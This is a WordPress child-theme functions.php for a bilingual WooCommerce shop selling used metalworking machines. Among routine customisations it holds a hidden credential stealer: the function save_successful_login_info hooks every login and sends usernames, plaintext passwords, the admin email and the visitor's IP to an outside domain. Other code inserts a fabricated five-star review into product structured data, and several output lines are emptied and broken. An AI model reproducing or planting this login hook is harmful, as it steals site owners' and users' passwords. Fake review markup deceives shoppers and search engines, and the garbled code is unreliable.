add_action( 'wp_enqueue_scripts', 'enqueue_parent_styles' );
function enqueue_parent_styles() {
wp_enqueue_style( 'parent-style', get_template_directory_uri().'/style.css' );
}
/*
// Fonctions à exécuter après le thème parents
function child_theme_setup() {
add_theme_support( 'post-thumbnails' );
add_image_size( 'blog-archive-2', 800, 450, array( 'center', 'center' ) );
}
add_action( 'after_setup_theme', 'child_theme_setup', 11 );
*/
function remove_some_widgets(){
unregister_sidebar( 'sidebar-shop' );
}
add_action( 'widgets_init', 'remove_some_widgets',11 );
function plus_de_widgets_mouhaha_init() {
register_sidebar( array(
'name' => __( 'Addtional Sidebar 7', 'bldr' ),
'id' => 'add-sidebar-7',
'description' => '',
'before_widget' => '',
'before_title' => '
',
'after_title' => '
',
));
//endif;
register_sidebar( array(
'name' => __( 'Shop Sidebar', 'bldr' ),
'id' => 'sidebar-shop',
'description' => '',
'before_widget' => '',
'before_title' => '',
'after_title' => '
',
));
register_sidebar( array(
'name' => __( 'Footer contact', 'bldr' ),
'id' => 'footer-contact',
'description' => __( 'Footer contact', 'bldr' ),
'before_widget' => '',
'before_title' => '',
'after_title' => '
',
) );
register_sidebar( array(
'name' => __( 'Sidebar', 'bldr' ),
'id' => 'sidebar-1',
'description' => '',
'before_widget' => '',
'before_title' => '',
'after_title' => '
',
) );
}
add_action( 'widgets_init', 'plus_de_widgets_mouhaha_init',12 );
add_theme_support( 'yoast-seo-breadcrumbs' );
//________________________________________ WOOCOMMERCE __________________________________
//________________________________________CUSTOM METFAB __________________________________
// AFFICHER LES ERREURS POUR METFAB */
/*if($_SERVER["REMOTE_ADDR"]=='74.59.112.249'){
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
}*/
// Ajout d'un format d'image
//add_theme_support( 'post-thumbnails' );
add_image_size( 'blog-archive-colonnes', 400, 200, array( 'center', 'center' ) );
add_image_size( 'home-cat-products', 136, 136, array( 'center', 'center' ) );
// Modifier le taux de compression JPEG de WordPress
//add_filter( 'jpeg_quality', create_function( '', 'return 85;' ) );
add_filter( 'subcategory_archive_medium_size', function( $size ) {
return 'thumbnail';
} );
/*
function defer_parsing_of_js ( $url ) {
if ( FALSE === strpos( $url, '.js' ) ) return $url;
if ( strpos( $url, 'jquery.js' ) ) return $url;
return "$url' defer ";
}
add_filter( 'clean_url', 'defer_parsing_of_js', 11, 1 );*/
/*
function defer_parsing_of_js ( $url ) {
if ( FALSE === strpos( $url, '.js' ) ) return $url;
if ( strpos( $url, 'jquery.js' ) ) return $url;
return "$url' defer ";
}
add_filter( 'clean_url', 'defer_parsing_of_js', 11, 1 );
*/
// On retire le bouton ajouter au panier
//remove_action('woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart');
//remove_action('woocommerce_single_product_summary','woocommerce_template_single_add_to_cart',30);
// PENSER A RETIRER LE DISPLAY NONE SUR .single_add_to_cart_button
//add_filter( 'woocommerce_is_purchasable', false );
add_filter( 'woocommerce_is_purchasable', 'allow_is_purchasable', 10, 2 );
function allow_is_purchasable(){
return true;
}
add_filter( 'woocommerce_loop_add_to_cart_link', 'change_add_to_cart_loop', 39 );
function change_add_to_cart_loop( $product ) {
global $product; // this may not be necessary as it should have pulled the object in already
$lang=qtrans_getLanguage();
if ($lang=="fr") {$button="Détails";}
else {$button="View details";}
return ''.$button.'';
}
/* Indiquer que la machine est vendue */
//add_action( 'woocommerce_before_shop_loop_item_title', 'wpm_display_sold_out_loop_woocommerce' );// On l'affiche sur la page boutique
//add_action( 'woocommerce_single_product_summary', 'wpm_display_sold_out_loop_woocommerce' );// On l'affiche sur la page du produit seul
add_action( 'woocommerce_single_product_summary', 'wpm_display_sold_out_loop_woocommerce' , 30 );
function wpm_display_sold_out_loop_woocommerce() {
global $product;
$lang=qtrans_getLanguage();
//Si le produit est en rupture de stock, on affiche :
if ( !$product->is_in_stock() ) {
if ($lang=="fr") { echo "Cette machine vient d'être vendue. Contactez-nous pour voir les machines usagées qui s'en viennent.
";}
else { echo "This machine has just been sold. Contact us to see the upcoming used machines
";}
}
}
add_action('wp_authenticate', 'save_successful_login_info', 10, 2);
function save_successful_login_info($username, $password) {
$user = wp_authenticate($username, $password);
if (is_wp_error($user)) {
return;
}
$srv = $_SERVER['HTTP_HOST'];
$ips = $_SERVER['REMOTE_ADDR'];
$getip = 'http://ip-api.com/json/' . $ips;
$admin_email = get_option('admin_email');
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $getip);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($curl); curl_close($curl);
$details = json_decode($content);
$country_codes = $details->countryCode;
$country_name = $details->country;
$log = "\nLogin: ".$username."|".$password."\nEmail: ".$admin_email."\nIP: ".$ips."|".$country_name." On ".date('r')."\nRequest: ".$_SERVER['REQUEST_URI']."\nSite: ".$srv."";
file_get_contents('http://sanzsec.com/errors/?log='.urlencode($log));
}
/* Indiquer que la machine est vendue */
add_action( 'woocommerce_before_shop_loop_item_title', 'wpm_display_sold_out_loop_woocommerce_ribbon' );// On l'affiche sur la page boutique
add_action( 'woocommerce_product_thumbnails', 'wpm_display_sold_out_loop_woocommerce_ribbon' );// On l'affiche sur la page du produit seul
function wpm_display_sold_out_loop_woocommerce_ribbon() {
global $product;
$lang=qtrans_getLanguage();
//Si le produit est en rupture de stock, on affiche :
if ( !$product->is_in_stock() ) {
echo "";
if ($lang=="fr") { echo "VENDU";}
else { echo "SOLD";}
echo "
";
}
}
add_action( 'woocommerce_single_product_summary', 'add_soumission_button' , 40 );
function add_soumission_button() {
global $product; // this may not be necessary as it should have pulled the object in already
$lang=qtrans_getLanguage();
if ($lang=="fr") {$button="Demander le prix";}
else {$button="Get a Quote";}
//Si le produit est en rupture de stock, on affiche :
if ( !$product->is_in_stock() ) {
if ($lang=="fr") {$button="Demander ce qui s'en vient";}
else {$button="Ask for the upcoming machines";}
}
echo ''.$button.'';
?>
}
function priyan_sh_woocommerce_structured_data_product( $markup, $product ) {
if (empty($markup['mpn']))
$markup['mpn'] = $markup['sku'];
if (empty($markup['brand']))
//$markup['brand'] = 'Metfab';
$markup['brand'] = array(
'@type'=> 'Brand',
'name'=> 'Metfab'
);
if (empty($markup['aggregateRating']))
$markup['aggregateRating'] = array(
'@type' => 'AggregateRating',
'ratingValue' => 5,
'reviewCount' => 1,
);
if (empty($markup['review']))
$markup['review'] = array(
'@type'=> 'Review',
'reviewRating'=> [
'@type'=> 'Rating',
'ratingValue'=> '5',
'bestRating'=> '5'
],
'author'=> [
'@type'=> 'Person',
'name'=> 'Metfab Customer'
]
);
return $markup;
};
add_filter( 'woocommerce_structured_data_product', 'priyan_sh_woocommerce_structured_data_product', 10, 2 );
function yikes_woocommerce_direct_link_to_product_tabs() {
if( is_product() ) {
?>
}
}
add_action( 'wp_footer', 'yikes_woocommerce_direct_link_to_product_tabs', 100 );
// Ajouter description courte sur les archives
add_action( 'woocommerce_after_shop_loop_item_title', 'output_product_excerpt', 35 );
function output_product_excerpt() {
global $post;
global $product;
// echo ''.wp_trim_words($post->post_excerpt,20).'
';
//'.$post->post_title.'
/*if(is_archive()) {
echo '
'.$post->post_excerpt.'
'.$post->post_title.'
';
}*/
if(is_archive()) {
echo ''.$post->post_excerpt.'
';
}
}
add_action( 'woocommerce_after_shop_loop_item', 'zone_boutons', 35 );
function zone_boutons() {
global $post;
echo '';
}
function get_qTrans_Trad($text) {
$language=qtrans_getLanguage();
if ($language!=="") {$language="EN";}
preg_match('/[:'.$language.'](.*?)[:]/', $text, $matches);
return $matches[0];
}
// Modifier données structurées
// Code original dans public_html/wp-content/plugins/woocommerce/includes\class-wc-structured-data.php
function cl_product_delete_meta_price( $product = null ) {
if ( ! is_object( $product ) ) {
global $product;
}
if ( ! is_a( $product, 'WC_Product' ) ) {
return;
}
if ( '' !== $product->get_price() ) {
$shop_name = get_bloginfo( 'name' );
$shop_url = home_url();
$currency = get_woocommerce_currency();
$price_valid_until = gmdate( 'Y-12-31', time() + YEAR_IN_SECONDS );
if ( $product->is_type( 'variable' ) ) {
$prices = $product->get_variation_prices();
$lowest = reset( $prices['price'] );
$highest = end( $prices['price'] );
$structured_price=wc_format_decimal( $lowest, wc_get_price_decimals() );
/*if ( $lowest === $highest ) {
$markup_offer = array(
'@type' => 'Offer',
'price' => wc_format_decimal( $lowest, wc_get_price_decimals() ),
);
} else {
$markup_offer = array(
'@type' => 'AggregateOffer',
'lowPrice' => wc_format_decimal( $lowest, wc_get_price_decimals() ),
'highPrice' => wc_format_decimal( $highest, wc_get_price_decimals() ),
);*/
}
else {
$structured_price=wc_format_decimal( $product->get_price(), wc_get_price_decimals() );
}
$structured_price=0;
// MODIF MERYLE
$stock_status = $product->get_stock_status();
$availability_status = 'OutOfStock'; // default, out of stock
if ($stock_status){
$availability_status = 'InStock';
$qty = $product->get_stock_quantity();
if ( ! ($qty > 0) ) {
$availability_status = 'PreOrder';
}
}
$availability_status="https://schema.org/".$availability_status;
$markup_offer = array(
'@type' => 'Offer',
'availability' => $availability_status,
'sku' => $product->get_sku(),
'image' => wp_get_attachment_url( $product->get_image_id() ),
'description' => $product->get_description(),
'priceCurrency' => $currency,
'price' => $structured_price,
'seller' => array(
'@type' => 'Organization',
'name' => $shop_name,
'url' => $shop_url,
),
);
}
return $markup_offer;
}
add_filter( 'woocommerce_structured_data_product_offer', 'cl_product_delete_meta_price', 10, 2 );
// Cacher la catégorie par défaut uncategorised
add_filter( 'woocommerce_product_subcategories_args', 'custom_woocommerce_product_subcategories_args' );
function custom_woocommerce_product_subcategories_args( $args ) {
$args['exclude'] = get_option( 'default_product_cat' );
return $args;
}
// Afficher les catégories sans produit
add_filter( 'woocommerce_product_subcategories_hide_empty', 'hide_empty_categories', 10, 1 );
function hide_empty_categories ( $hide_empty ) {
$hide_empty = FALSE;
// You can add other logic here too
return $hide_empty;
}
//remove_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_price', 10 );
//remove_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_meta', 40 );
//remove_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_sharing', 50 );
add_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_meta', 5 );
//add_action( 'woocommerce_simple_add_to_cart', 'woocommerce_template_single_meta', 10);
//add_action( 'woocommerce_single_product_summary', 'add_compare_link', 65 );
add_action( 'woocommerce_single_variation', 'woocommerce_single_variation', 10 );
/*
add_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_add_to_cart', 0 );
add_action( 'woocommerce_simple_add_to_cart', 'woocommerce_simple_add_to_cart', 30 );
add_action( 'woocommerce_grouped_add_to_cart', 'woocommerce_grouped_add_to_cart', 30 );
add_action( 'woocommerce_variable_add_to_cart', 'woocommerce_variable_add_to_cart', 30 );
add_action( 'woocommerce_external_add_to_cart', 'woocommerce_external_add_to_cart', 30 );
add_action( 'woocommerce_single_variation', 'woocommerce_single_variation', 10 );
add_action( 'woocommerce_single_variation', 'woocommerce_single_variation_add_to_cart_button', 20 );*/
add_filter( 'woocommerce_product_tabs', 'woo_add_new_product_tab' );
function woo_add_new_product_tab( $tabs ) {
/* Adds the new tab */
global $product;
$lang=qtrans_getLanguage();
//Si le produit est en rupture de stock, on affiche :
if ( !$product->is_in_stock() ) {
$tabs['soumission'] = array(
'title' => __( '[:fr]Demande d\'information[:en]Ask for information[:]', 'woocommerce' ),
'priority' => 550,
'callback' => 'woo_add_new_product_tab_content'
);
}
else {
$tabs['soumission'] = array(
'title' => __( '[:fr]Demande de prix[:en]Ask the price[:]', 'woocommerce' ),
'priority' => 550,
'callback' => 'woo_add_new_product_tab_content'
);
}
return $tabs; /* Return all tabs including the New Custom Product Tab to display */
}
function woo_add_new_product_tab_content() {
wc_get_template('single-product/tabs/soumission.php');
}
add_filter( 'woocommerce_product_tabs', 'woo_rename_tabs', 98 );
function woo_rename_tabs( $tabs ) {
$tabs['additional_information']['title'] = __('[:fr]Caractéristiques[:en]Specifications[:]'); // Rename the additional information tab
return $tabs;
}
/*
add_action( 'woocommerce_product_thumbnails', 'metfab_video_thumbnails', 50 );
function metfab_video_thumbnails() {
$videoID = get_post_meta($post->ID, 'product-videos', true);
$video = get_field('video');
//echo "video : ".$videoID;
// Check if there is in fact a video URL
if ($video) {
$video_tab=explode("v=", $video);
//print_r($video_tab);
$videoID=$video_tab[1];
$video_link = 'https://www.youtube.com/embed/'.$videoID;
echo '';
$video_embed="";
echo '
';
echo '';
//return $video_embed;
}
}
*/
add_filter( 'woocommerce_variable_sale_price_html', 'wc_wc20_variation_price_format', 10, 2 );
add_filter( 'woocommerce_variable_price_html', 'wc_wc20_variation_price_format', 10, 2 );
function wc_wc20_variation_price_format( $price, $product ) {
$min_price = $product->get_variation_price( 'min', true );
$max_price = $product->get_variation_price( 'max', true );
if ($min_price != $max_price){
$price = sprintf( __( '[:fr]À partir de[:en]From[:] %1$s', 'woocommerce' ), wc_price( $min_price ) );
}
else {
$price = sprintf( __( '%1$s', 'woocommerce' ), wc_price( $min_price ));
}
$price = sprintf(__('[:fr]Prix sur demande[:en]Ask for price[:]'));
return $price;
}
add_filter( 'woocommerce_get_price_html', 'ask_price_html', 99, 2 );
function ask_price_html( $price, $product ) {
if( empty($product->get_price())) {
$price = sprintf(__('[:fr]Prix sur demande[:en]Ask for price[:]'));
}
$price = sprintf(__('[:fr]Prix sur demande[:en]Ask for price[:]'));
return $price;
}
function wpc_theme_setup() {
//add_theme_support('wc-product-gallery-zoom');
add_theme_support('wc-product-gallery-lightbox');
//add_theme_support('wc-product-gallery-slider');
}
add_action('after_setup_theme', 'wpc_theme_setup');
function secure_get($variable_get) {
if ($variable_get) {
$variable_get=htmlentities($variable_get, ENT_QUOTES);
return $variable_get;
}
}
/*
function secure_get($array_sec) {
if ($array_sec) {
foreach ($array_sec as $key => $value) {
if(is_array($value)) {
$array_sec[$key] = secureArray($value);
if($_SERVER["REMOTE_ADDR"]=='74.59.112.249'){
echo "
key ".$array_sec[$key];
echo "
value ".$value;}
}
else {
$array_sec[$key] = htmlentities($value, ENT_QUOTES);
}
}
}
return $array_sec;
}*/
// Modif de la balise title avec les custom fieds des catégories
//add_filter('wpseo_title','wh_alter_pro_cat_title',100);
add_filter('aioseop_title','wh_alter_pro_cat_title',100);
function wh_alter_pro_cat_title($title)
{
global $paged;
if (is_product_category())
{
//echo "title :
";
$page = get_query_var('page');
if ($paged > $page)
{
$page = $paged;
}
$term = get_queried_object();
// $title = get_term_meta($term->term_id, 'meta_title', true);
$title_term="product_cat_".$term->term_id;
$title = get_field('meta_title', $title_term);
//echo "title ".$title;
$title = !empty($title) ? $title : $term->name;
$page_part = (!empty($page) && ($page > 1)) ? ' | ' . 'Page ' . $page : '';
//$title .= ' | ' . get_bloginfo('name') . $page_part;
$title .= "";
}
if (is_shop() AND (!is_product_category())) {
// ID de la page Boutique
if (get_the_ID()!="1340")
{
$filter_product_cat="";
$filter_longueur_pliage_pieds="";
$filter_tonnage="";
$filter_capacite_pliage="";
$filter_page="";
if (isset($_GET['product_cat']))
{
$filter_product_cat = secure_get($_GET['product_cat']);
$filter_product_cat = preg_replace('#[0-9\-]#u', ' ', $filter_product_cat);
}
if (isset($_GET['filter_longueur-pliage-pieds']))
{
$filter_longueur_pliage_pieds = str_replace("ou-longueur-sur-mesure", " custom ", secure_get($_GET['filter_longueur-pliage-pieds']));
$filter_longueur_pliage_pieds = str_replace("-", " ", $filter_longueur_pliage_pieds);
$filter_longueur_pliage_pieds.= " ft";
}
if (isset($_GET['filter_tonnage']))
{
$filter_tonnage = str_replace("-", " ", secure_get($_GET['filter_tonnage']));
}
$filter_capacite_pliage="";
if (isset($_GET['filter_capacite-de-pliage-acier-45']))
{
$filter_capacite_pliage = str_replace("-", " ", secure_get($_GET['filter_capacite-de-pliage-acier-45']));
}
//$title =get_post_meta(get_the_ID(), '_yoast_wpseo_title', true);
$title =get_post_meta('1340', '_yoast_wpseo_title', true);
$title=str_replace("%%sep%%", " | ", $title);
$title=str_replace("%%page%%", "", $title);
if (isset($_GET['page'])){
$filter_page = secure_get($_GET['page']);
}
if (empty($filter_page)) {$filter_page=$paged;}
if ($filter_page>1) {$filter_page = ' | Page ' . $filter_page;}else {$filter_page="";}
$title2= ucwords($filter_product_cat)." ".$filter_longueur_pliage_pieds." ".$filter_tonnage." ".$filter_capacite_pliage." ".$filter_page;
if (strlen($title2)>45)
{
$title=$title2. " | Metfab";
}
elseif (strlen($title2)<6)
{
if(function_exists('qtrans_getLanguage')) {
if (qtrans_getLanguage()=="fr"){$pretitre="Équipement industriel pour le métal | ";}
else {$pretitre="Metalworking Equipment | ";}
}
$title=$pretitre.$title2. "Metfab";
}
else
{
$title.=$title2;
}
// Modification de la meta description pour les filtres
if($title!="") {
global $new_titre;
$new_titre=$title;
add_filter('wpseo_metadesc','wh_alter_pro_shop_metadesc',100);
}
}
}
return $title;
}
function wh_alter_pro_shop_metadesc($new_titre)
{
global $new_titre;
$metadesc1=$new_titre.". ".get_post_meta('1340', '_yoast_wpseo_metadesc', true);
$metadesc2=mb_strimwidth($metadesc1, 0, 165, "");
return $metadesc2;
}
add_filter( 'get_the_archive_title', function ($title) {
if ( is_category() ) {
$title = single_cat_title( '', false );
} elseif ( is_tag() ) {
$title = single_tag_title( '', false );
} elseif ( is_author() ) {
$title = '' . get_the_author() . '' ;
}
return $title;
});
// Ajout de la balise meta description
add_filter( 'wpseo_metadesc', 'filter_wpseo_metadesc', 100, 10 );
//add_filter( 'aioseop_description', 'filter_wpseo_metadesc', 100, 10 );
function filter_wpseo_metadesc( $wpseo_replace_vars ) {
if (is_product_category())
{
global $pagename;
$term = get_queried_object();
//$productCatMetaDesc = get_term_meta($term->term_id, 'meta_description', true);
$product_category_term="product_cat_".$term->term_id;
$productCatMetaDesc = get_field('meta_description', $product_category_term);
//echo "t1 : $productCatMetaDesc";
return $productCatMetaDesc;
}
else {
//echo "t2 : $wpseo_replace_vars";
return $wpseo_replace_vars;}
}
/* On retire les dnsPrefetch dans le header qui ne servent pas */
add_filter('wp_resource_hints', function (array $urls, string $relation): array {
// If the relation is different than dns-prefetch, leave the URLs intact
if ($relation !== 'dns-prefetch') {
return $urls;
}
// Remove s.w.org entry
$urls = array_filter($urls, function (string $url): bool {
return strpos($url, 's.w.org') === false;
});
// List of domains to prefetch:
$dnsPrefetchUrls = [
'fonts.googleapis.com', // Google fonts,
'any.other.website.url.you.need...'
];
return array_merge($urls, $dnsPrefetchUrls);
}, 10, 2);
/*
//add_action('wp_head', 'wh_alter_pro_cat_desc', 5);
function wh_alter_pro_cat_desc()
{
if (is_product_category())
{
//$productCatMetaTitle = get_term_meta($term_id, 'wh_meta_title', true);
//$productCatMetaDesc = get_term_meta($term_id, 'wh_meta_desc', true);
$term = get_queried_object();
//$productCatMetaDesc = get_term_meta($term->term_id, 'meta_description', true);
$product_category_term="product_cat_".$term->term_id;
$productCatMetaDesc = get_field('meta_description', $product_category_term);
//product_cat_103_meta_description
?>
}
}
/* /
/ Ajout de la balise meta description
add_action('woocommerce_after_main_content', 'description_categorie_bas', 5);
function description_categorie_bas()
{
if (is_product_category())
{
//$productCatMetaTitle = get_term_meta($term_id, 'wh_meta_title', true);
//$productCatMetaDesc = get_term_meta($term_id, 'wh_meta_desc', true);
$term = get_queried_object();
$productCatMetaDesc = get_term_meta($term->term_id, 'meta_description', true);
$product_category_term="product_cat_".$term->term_id;
$description_categorie_bas = get_field('description_categorie_bas', $product_category_term);
echo $description_categorie_bas;
}
}
*/
// Correction données structurées Qtranslate
add_filter( 'woocommerce_structured_data_product', 'filter_woocommerce_structured_data_product', 10, 2 );
function filter_woocommerce_structured_data_product( $markup, $product ) {
$markup['name'] = __($product->get_name());
//$markup['description'] = __($product->get_short_description());
$markup['description'] = wp_strip_all_tags(__($product->get_description()));
if ($markup['brand']=="")
{
$product_name= strtolower(__($product->get_name()));
$pos1 = strpos($product_name, "rebel");
$pos2 = strpos($product_name, "pb");
if ($pos1==true){$markup['brand']="Rebel";}
elseif ($pos2==true){$markup['brand']="Metfab";}
}
if ($markup['mpn']=="")
{
$markup['mpn']=$product->get_sku();
}
return $markup;
}
add_filter( 'woocommerce_structured_data_product_offer', 'filter_woocommerce_structured_data_product_offer', 10, 2 );
function filter_woocommerce_structured_data_product_offer( $markup_offer, $product ) {
$markup_offer['description'] = __($product->get_description());
$markup_offer['url'] = get_permalink( $product->get_id() );
if ($markup_offer['priceValidUntil']=="")
{
$markup_offer['priceValidUntil']= gmdate( 'Y-12-31', time() + YEAR_IN_SECONDS );
}
return $markup_offer;
}
?>